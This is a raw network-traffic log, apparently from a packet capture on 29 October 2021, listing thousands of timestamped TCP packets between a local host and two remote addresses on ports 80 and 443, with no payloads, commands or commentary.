Oct 29, 2021 20:29:52.059250116 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059278965 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059314966 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059366941 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059393883 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059417963 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059452057 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059658051 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059684038 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059708118 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059720993 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059731960 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059756994 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059761047 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059804916 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059840918 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059866905 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059937954 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059943914 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.059964895 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.059988976 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060013056 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060025930 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.060038090 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060062885 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060075045 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.060087919 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060112000 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060112953 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.060132980 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060164928 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060175896 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060179949 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.060199976 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.060247898 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.084275007 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:52.084312916 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:52.109231949 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.109266043 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.109288931 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.109313011 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.109334946 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.109357119 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.109397888 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.109462023 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111294031 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111327887 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111350060 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111371994 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111392021 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111414909 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111438036 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111460924 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111486912 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111490011 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111510038 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111531973 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111565113 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111573935 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111587048 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111608982 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111632109 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111656904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111676931 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111684084 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111696959 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111697912 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111717939 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111726046 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111737967 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111757994 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111777067 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.111779928 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.111807108 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112253904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112282991 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112304926 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112322092 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112338066 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112359047 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112363100 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112380028 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112401009 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112406015 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112422943 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112445116 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112447023 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112468958 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112489939 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112514019 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112529039 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112539053 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112543106 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112560034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112582922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112586975 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112603903 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112627029 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112629890 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112791061 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112816095 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112838030 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112845898 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.112884045 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.112891912 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.113451958 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.123392105 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:52.123544931 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:52.128576040 CEST	49778	443	192.168.2.7	162.159.129.233
Oct 29, 2021 20:29:52.128607035 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:52.128963947 CEST	443	49778	162.159.129.233	192.168.2.7
Oct 29, 2021 20:29:52.161119938 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161156893 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161183119 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161206961 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161339045 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161377907 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161405087 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161429882 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161456108 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161480904 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161499977 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161505938 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161533117 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161587954 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161612034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161634922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161650896 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161660910 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161683083 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161693096 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161705017 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161722898 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161725998 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161748886 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161772013 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161773920 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161793947 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161802053 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161818027 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161896944 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.161916971 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161952019 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161977053 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.161999941 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162003994 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162023067 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162023067 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162048101 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162070990 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162072897 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162091970 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162111998 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162126064 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162132978 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162152052 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162173033 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162173033 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162194967 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162214994 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162216902 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162235022 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162256956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162261963 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162277937 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162291050 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162300110 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162322998 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162331104 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162349939 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162369013 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162374973 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162436008 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162455082 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162482023 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162504911 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162528992 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162534952 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162550926 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162574053 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162581921 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162595034 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162617922 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162631989 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162667990 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162667990 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162693024 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162718058 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162744045 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162744999 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162813902 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162837029 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162859917 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162864923 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162883997 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.162903070 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.162931919 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164319992 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164355993 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164381981 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164406061 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164428949 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164453030 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164477110 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164500952 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164525032 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164549112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164563894 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164572001 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164586067 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164596081 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164613962 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164618969 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164648056 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164657116 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164669991 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164689064 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164695978 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164710999 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164732933 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164741039 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164753914 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164777040 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164788961 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164798975 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164819956 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164843082 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164890051 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164912939 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164935112 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164954901 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164952040 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.164974928 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.164992094 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165013075 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165030003 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165064096 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165080070 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165086985 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165091038 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165107012 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165127993 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165131092 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165141106 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165148020 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165148973 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165154934 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165170908 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165191889 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165194035 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165204048 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165213108 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165232897 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165254116 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165282965 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165282965 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165294886 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165313005 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165313005 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165334940 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165358067 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165378094 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165400028 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165421009 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165433884 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165441036 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165446997 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165465117 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165488005 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165507078 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165529013 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165529013 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165548086 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165570021 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165571928 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165592909 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165612936 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165628910 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165635109 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165657997 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165672064 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165676117 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165704012 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165724039 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165735006 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165743113 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165764093 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165774107 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165782928 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165798903 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165806055 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165827036 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165838957 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165847063 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165868044 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165889025 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165905952 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165910959 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165931940 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165952921 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165956020 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.165972948 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.165996075 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.166016102 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.166063070 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.166083097 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.166086912 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.213184118 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213222027 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213246107 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213258028 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.213290930 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213315964 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.213318110 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213340998 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213363886 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213387012 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213404894 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.213419914 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.213462114 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.213514090 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214014053 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214047909 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214071035 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214086056 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214102030 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214113951 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214138031 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214157104 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214158058 CEST	49777	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:52.214175940 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214196920 CEST	80	49777	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:52.214200020 CEST	49777	80	192.168.2.7	185.98.87.159
